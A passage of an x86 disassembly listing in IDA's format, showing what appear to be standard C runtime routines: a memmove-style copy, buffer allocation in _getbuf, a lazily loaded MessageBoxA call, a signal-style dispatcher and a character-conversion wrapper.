cmp [ebp+var_C], 0
jz short loc_426966
push 1
call sub_41BC90
add esp, 4
loc_426966: ; CODE XREF: sub_426880+DAj
cmp [ebp+var_1C], 1
jnz short loc_426983
cmp [ebp+var_C], 0
jz short loc_42697C
push 1
call sub_41BD30
add esp, 4
loc_42697C: ; CODE XREF: sub_426880+F0j
xor eax, eax
jmp loc_426A86
; ---------------------------------------------------------------------------
loc_426983: ; CODE XREF: sub_426880+EAj
cmp [ebp+var_1C], 0
jnz short loc_4269A0
cmp [ebp+var_C], 0
jz short loc_426999
push 1
call sub_41BD30
add esp, 4
loc_426999: ; CODE XREF: sub_426880+10Dj
push 3
call sub_41B330
loc_4269A0: ; CODE XREF: sub_426880+107j
cmp [ebp+arg_0], 8
jz short loc_4269B2
cmp [ebp+arg_0], 0Bh
jz short loc_4269B2
cmp [ebp+arg_0], 4
jnz short loc_4269DE
loc_4269B2: ; CODE XREF: sub_426880+124j
; sub_426880+12Aj
mov eax, [ebp+var_4]
mov ecx, [eax+54h]
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+54h], 0
cmp [ebp+arg_0], 8
jnz short loc_4269DE
mov eax, [ebp+var_4]
mov ecx, [eax+58h]
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+58h], 8Ch
loc_4269DE: ; CODE XREF: sub_426880+130j
; sub_426880+149j
cmp [ebp+arg_0], 8
jnz short loc_426A20
mov eax, dword_443648
mov [ebp+var_10], eax
jmp short loc_4269F7
; ---------------------------------------------------------------------------
loc_4269EE: ; CODE XREF: sub_426880+19Cj
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_4269F7: ; CODE XREF: sub_426880+16Cj
mov edx, dword_443648
add edx, dword_44364C
cmp [ebp+var_10], edx
jge short loc_426A1E
mov eax, [ebp+var_10]
imul eax, 0Ch
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_4269EE
; ---------------------------------------------------------------------------
loc_426A1E: ; CODE XREF: sub_426880+186j
jmp short loc_426A29
; ---------------------------------------------------------------------------
loc_426A20: ; CODE XREF: sub_426880+162j
mov eax, [ebp+var_18]
mov dword ptr [eax], 0
loc_426A29: ; CODE XREF: sub_426880:loc_426A1Ej
cmp [ebp+var_C], 0
jz short loc_426A39
push 1
call sub_41BD30
add esp, 4
loc_426A39: ; CODE XREF: sub_426880+1ADj
cmp [ebp+arg_0], 8
jnz short loc_426A50
mov ecx, [ebp+var_4]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_1C]
add esp, 8
jmp short loc_426A5A
; ---------------------------------------------------------------------------
loc_426A50: ; CODE XREF: sub_426880+1BDj
mov eax, [ebp+arg_0]
push eax
call [ebp+var_1C]
add esp, 4
loc_426A5A: ; CODE XREF: sub_426880+1CEj
cmp [ebp+arg_0], 8
jz short loc_426A6C
cmp [ebp+arg_0], 0Bh
jz short loc_426A6C
cmp [ebp+arg_0], 4
jnz short loc_426A84
loc_426A6C: ; CODE XREF: sub_426880+1DEj
; sub_426880+1E4j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_14]
mov [ecx+54h], edx
cmp [ebp+arg_0], 8
jnz short loc_426A84
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+58h], ecx
loc_426A84: ; CODE XREF: sub_426880+1EAj
; sub_426880+1F9j
xor eax, eax
loc_426A86: ; CODE XREF: sub_426880+D1j
; sub_426880+FEj
mov esp, ebp
pop ebp
retn
sub_426880 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_426A8A dd offset loc_4268B8 ; DATA XREF: sub_426880+31r
dd offset loc_426923
dd offset loc_426909
dd offset loc_4268D5
dd offset loc_4268EF
dd offset loc_42694E
byte_426AA2 db 0 ; DATA XREF: sub_426880+2Br
db 5
dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426AC0 proc near ; CODE XREF: .text:00426740p
; sub_426880+B6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_426ACA: ; CODE XREF: sub_426AC0+31j
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
cmp edx, [ebp+arg_0]
jz short loc_426AF3
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_443654
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_426AF3
jmp short loc_426ACA
; ---------------------------------------------------------------------------
loc_426AF3: ; CODE XREF: sub_426AC0+13j
; sub_426AC0+2Fj
mov eax, dword_443654
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_426B15
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jnz short loc_426B15
mov eax, [ebp+var_4]
jmp short loc_426B17
; ---------------------------------------------------------------------------
loc_426B15: ; CODE XREF: sub_426AC0+43j
; sub_426AC0+4Ej
xor eax, eax
loc_426B17: ; CODE XREF: sub_426AC0+53j
mov esp, ebp
pop ebp
retn
sub_426AC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41FA10
add eax, 58h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B30 proc near ; CODE XREF: .text:004288B9p
push ebp
mov ebp, esp
call sub_41FA10
add eax, 54h
pop ebp
retn
sub_426B30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B40 proc near ; CODE XREF: sub_41C310+2CEp
; sub_4260B0+1B0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
cmp dword_4922B4, 0
jnz short loc_426BB3
push offset aUser32_dll_0 ; "user32.dll"
call ds:dword_49434C
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_426B87
push offset aMessageboxa ; "MessageBoxA"
mov eax, [ebp+var_8]
push eax
call ds:dword_494348
mov dword_4922B4, eax
cmp dword_4922B4, 0
jnz short loc_426B8B
loc_426B87: ; CODE XREF: sub_426B40+28j
xor eax, eax
jmp short loc_426BF7
; ---------------------------------------------------------------------------
loc_426B8B: ; CODE XREF: sub_426B40+45j
push offset aGetactivewindo ; "GetActiveWindow"
mov ecx, [ebp+var_8]
push ecx
call ds:dword_494348
mov dword_4922B8, eax
push offset aGetlastactivep ; "GetLastActivePopup"
mov edx, [ebp+var_8]
push edx
call ds:dword_494348
mov dword_4922BC, eax
loc_426BB3: ; CODE XREF: sub_426B40+14j
cmp dword_4922B8, 0
jz short loc_426BC5
call dword_4922B8
mov [ebp+var_4], eax
loc_426BC5: ; CODE XREF: sub_426B40+7Aj
cmp [ebp+var_4], 0
jz short loc_426BE1
cmp dword_4922BC, 0
jz short loc_426BE1
mov eax, [ebp+var_4]
push eax
call dword_4922BC
mov [ebp+var_4], eax
loc_426BE1: ; CODE XREF: sub_426B40+89j
; sub_426B40+92j
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_4922B4
loc_426BF7: ; CODE XREF: sub_426B40+49j
mov esp, ebp
pop ebp
retn
sub_426B40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C00 proc near ; CODE XREF: sub_41CC00+581p
; .text:0041E10Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_426C20
cmp edi, eax
jb loc_426D98
loc_426C20: ; CODE XREF: sub_426C00+16j
test edi, 3
jnz short loc_426C3C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_426C5C
rep movsd
jmp ds:off_426D48[edx*4]
; ---------------------------------------------------------------------------
loc_426C3C: ; CODE XREF: sub_426C00+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_426C54
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_426C5C+4[eax*4]
; ---------------------------------------------------------------------------
loc_426C54: ; CODE XREF: sub_426C00+46j
jmp dword ptr ds:loc_426D58[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_426C5C: ; CODE XREF: sub_426C00+31j
; sub_426C00+8Ej ...
jmp ds:off_426CDC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_426C70
dd offset loc_426C9C
dd offset loc_426CC0
; ---------------------------------------------------------------------------
loc_426C70: ; DATA XREF: sub_426C00+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_426C5C
rep movsd
jmp ds:off_426D48[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_426C9C: ; DATA XREF: sub_426C00+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_426C5C
rep movsd
jmp ds:off_426D48[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_426CC0: ; DATA XREF: sub_426C00+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_426C5C
rep movsd
jmp ds:off_426D48[edx*4]
; ---------------------------------------------------------------------------
align 4
off_426CDC dd offset loc_426D3F ; DATA XREF: sub_426C00:loc_426C5Cr
dd offset loc_426D2C
dd offset loc_426D24
dd offset loc_426D1C
dd offset loc_426D14
dd offset loc_426D0C
dd offset loc_426D04
dd offset loc_426CFC
; ---------------------------------------------------------------------------
loc_426CFC: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_426D04: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_426D0C: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_426D14: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_426D1C: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_426D24: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_426D2C: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_426D3F: ; CODE XREF: sub_426C00:loc_426C5Cj
; DATA XREF: sub_426C00:off_426CDCo
jmp ds:off_426D48[edx*4]
; ---------------------------------------------------------------------------
align 4
off_426D48 dd offset loc_426D58 ; DATA XREF: sub_426C00+35r
; sub_426C00+92r ...
dd offset loc_426D60
dd offset loc_426D6C
dd offset loc_426D80
; ---------------------------------------------------------------------------
loc_426D58: ; CODE XREF: sub_426C00+35j
; sub_426C00+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_426D60: ; CODE XREF: sub_426C00+35j
; sub_426C00+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_426D6C: ; CODE XREF: sub_426C00+35j
; sub_426C00+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_426D80: ; CODE XREF: sub_426C00+35j
; sub_426C00+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_426D98: ; CODE XREF: sub_426C00+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_426DCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_426DC0
std
rep movsd
cld
jmp ds:off_426EE0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_426DC0: ; CODE XREF: sub_426C00+1B1j
; sub_426C00+208j ...
neg ecx
jmp ds:off_426E90[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_426DCC: ; CODE XREF: sub_426C00+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_426DE4
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_426DE4+4[eax*4]
; ---------------------------------------------------------------------------
loc_426DE4: ; CODE XREF: sub_426C00+1D6j
; DATA XREF: sub_426C00+1DDr
jmp ds:off_426EE0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_426DF7+1
; ---------------------------------------------------------------------------
sbb [esi+42h], ch
add [eax+6Eh], al
inc edx
loc_426DF7: ; DATA XREF: sub_426C00+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_426DC0
std
rep movsd
cld
jmp ds:off_426EE0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_426DC0
std
rep movsd
cld
jmp ds:off_426EE0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_426DC0
std
rep movsd
cld
jmp ds:off_426EE0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_426E94
dd offset loc_426E9C
dd offset loc_426EA4
dd offset loc_426EAC
dd offset loc_426EB4
dd offset loc_426EBC
dd offset loc_426EC4
off_426E90 dd offset loc_426ED7 ; DATA XREF: sub_426C00+1C2r
; ---------------------------------------------------------------------------
loc_426E94: ; DATA XREF: sub_426C00+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_426E9C: ; DATA XREF: sub_426C00+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_426EA4: ; DATA XREF: sub_426C00+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_426EAC: ; DATA XREF: sub_426C00+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_426EB4: ; DATA XREF: sub_426C00+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_426EBC: ; DATA XREF: sub_426C00+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_426EC4: ; DATA XREF: sub_426C00+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_426ED7: ; CODE XREF: sub_426C00+1C2j
; DATA XREF: sub_426C00:off_426E90o
jmp ds:off_426EE0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_426EE0 dd offset loc_426EF0 ; DATA XREF: sub_426C00+1B7r
; sub_426C00:loc_426DE4r ...
dd offset loc_426EF8
dd offset loc_426F08
dd offset loc_426F1C
; ---------------------------------------------------------------------------
loc_426EF0: ; CODE XREF: sub_426C00+1B7j
; sub_426C00:loc_426DE4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_426EF8: ; CODE XREF: sub_426C00+1B7j
; sub_426C00:loc_426DE4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_426F08: ; CODE XREF: sub_426C00+1B7j
; sub_426C00:loc_426DE4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_426F1C: ; CODE XREF: sub_426C00+1B7j
; sub_426C00:loc_426DE4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_426C00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426F40 proc near ; CODE XREF: sub_41E750+98p
; sub_424670+ECp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_433400
push offset sub_425F84
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4922C0, 0
jnz short loc_426FBE
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_43301C
push 1
call ds:dword_4942C0
test eax, eax
jz short loc_426F92
mov dword_4922C0, 1
jmp short loc_426FBE
; ---------------------------------------------------------------------------
loc_426F92: ; CODE XREF: sub_426F40+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_433018
push 1
push 0
call ds:dword_4942C4
test eax, eax
jz short loc_426FB7
mov dword_4922C0, 2
jmp short loc_426FBE
; ---------------------------------------------------------------------------
loc_426FB7: ; CODE XREF: sub_426F40+69j
xor eax, eax
jmp loc_4270E8
; ---------------------------------------------------------------------------
loc_426FBE: ; CODE XREF: sub_426F40+2Dj
; sub_426F40+50j ...
cmp dword_4922C0, 2
jnz short loc_426FF5
cmp [ebp+arg_14], 0
jnz short loc_426FD6
mov edx, dword_492170
mov [ebp+arg_14], edx
loc_426FD6: ; CODE XREF: sub_426F40+8Bj
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_14]
push ecx
call ds:dword_4942C4
jmp loc_4270E8
; ---------------------------------------------------------------------------
loc_426FF5: ; CODE XREF: sub_426F40+85j
cmp dword_4922C0, 1
jnz loc_4270E6
cmp [ebp+arg_10], 0
jnz short loc_427011
mov edx, dword_492180
mov [ebp+arg_10], edx
loc_427011: ; CODE XREF: sub_426F40+C6j
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_18]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_10]
push eax
call ds:dword_4942D4
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_427045
xor eax, eax
jmp loc_4270E8
; ---------------------------------------------------------------------------
loc_427045: ; CODE XREF: sub_426F40+FCj
mov [ebp+var_4], 0
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_2C], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_2C]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
shl edx, 1
push edx
push 0
mov eax, [ebp+var_24]
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42709B
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42709B: ; CODE XREF: sub_426F40+142j
cmp [ebp+var_24], 0
jnz short loc_4270A5
xor eax, eax
jmp short loc_4270E8
; ---------------------------------------------------------------------------
loc_4270A5: ; CODE XREF: sub_426F40+15Fj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call ds:dword_4942D4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_4270CE
xor eax, eax
jmp short loc_4270E8
; ---------------------------------------------------------------------------
loc_4270CE: ; CODE XREF: sub_426F40+188j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4942C0
jmp short loc_4270E8
; ---------------------------------------------------------------------------
loc_4270E6: ; CODE XREF: sub_426F40+BCj
xor eax, eax
loc_4270E8: ; CODE XREF: sub_426F40+79j
; sub_426F40+B0j ...
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_426F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427100 proc near ; CODE XREF: sub_41E810+137p
; sub_421790+A1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_427107: ; CODE XREF: sub_427100+2Fj
cmp [ebp+arg_0], 0
jnz short loc_42712B
push offset aStrNull ; "str != NULL"
push 0
push 2Eh
push offset a_getbuf_c ; "_getbuf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_42712B
int 3 ; Trap to Debugger
loc_42712B: ; CODE XREF: sub_427100+Bj
; sub_427100+28j
xor eax, eax
test eax, eax
jnz short loc_427107
mov ecx, dword_492154
add ecx, 1
mov dword_492154, ecx
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
push 3Bh
push offset a_getbuf_c ; "_getbuf.c"
push 2
push 1000h
call sub_416A30
add esp, 10h
mov ecx, [ebp+var_4]
mov [ecx+8], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_427186
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ecx, 8
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 1000h
jmp short loc_4271AB
; ---------------------------------------------------------------------------
loc_427186: ; CODE XREF: sub_427100+69j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 4
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
loc_4271AB: ; CODE XREF: sub_427100+84j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4271D0 proc near ; CODE XREF: sub_41E810+127p
; sub_423FC0+40p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jb short loc_4271E2
xor eax, eax
jmp short loc_427200
; ---------------------------------------------------------------------------
loc_4271E2: ; CODE XREF: sub_4271D0+Cj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx eax, byte ptr [eax+edx+4]
and eax, 40h
loc_427200: ; CODE XREF: sub_4271D0+10j
pop ebp
retn
sub_4271D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427210 proc near ; CODE XREF: sub_41EA90+3CAp
; sub_41EA90+B90p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_427248
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42724F
; ---------------------------------------------------------------------------
loc_427248: ; CODE XREF: sub_427210+18j
mov [ebp+var_4], 0
loc_42724F: ; CODE XREF: sub_427210+36j
mov ax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_427290
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_427275
push 13h
call sub_41BD30
add esp, 4
jmp short loc_427280
; ---------------------------------------------------------------------------
loc_427275: ; CODE XREF: sub_427210+57j
push offset dword_49274C
call ds:dword_494414
loc_427280: ; CODE XREF: sub_427210+63j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_427210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427290 proc near ; CODE XREF: sub_427210+48p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_4272A3
xor eax, eax
jmp loc_42732C
; ---------------------------------------------------------------------------
loc_4272A3: ; CODE XREF: sub_427290+Aj
cmp dword_492170, 0
jnz short loc_4272DA
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 0FFh
jle short loc_4272CB
call sub_422F20
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42732C
; ---------------------------------------------------------------------------
loc_4272CB: ; CODE XREF: sub_427290+29j
mov ecx, [ebp+arg_0]
mov dl, byte ptr [ebp+arg_4]
mov [ecx], dl
mov eax, 1
jmp short loc_42732C
; ---------------------------------------------------------------------------
loc_4272DA: ; CODE XREF: sub_427290+1Aj
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
mov ecx, dword_442F58
push ecx
mov edx, [ebp+arg_0]
push edx
push 1
lea eax, [ebp+arg_4]
push eax
push 220h
mov ecx, dword_492180
push ecx
call ds:dword_4943B0
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_427319
cmp [ebp+var_8], 0
jz short loc_427329
loc_427319: ; CODE XREF: sub_427290+81j
call sub_422F20
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42732C
; ---------------------------------------------------------------------------
loc_427329: ; CODE XREF: sub_427290+87j
mov eax, [ebp+var_4]
loc_42732C: ; CODE XREF: sub_427290+Ej
; sub_427290+39j ...
mov esp, ebp
pop ebp
retn
sub_427290 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427330 proc near ; CODE XREF: sub_41FBE0+74Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_427368
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42736F
; ---------------------------------------------------------------------------
loc_427368: ; CODE XREF: sub_427330+18j
mov [ebp+var_4], 0
loc_42736F: ; CODE XREF: sub_427330+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4273B0
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_427398
push 13h
call sub_41BD30
add esp, 4
jmp short loc_4273A3
; ---------------------------------------------------------------------------
loc_427398: ; CODE XREF: sub_427330+5Aj
push offset dword_49274C
call ds:dword_494414
loc_4273A3: ; CODE XREF: sub_427330+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_427330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4273B0 proc near ; CODE XREF: sub_427330+4Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
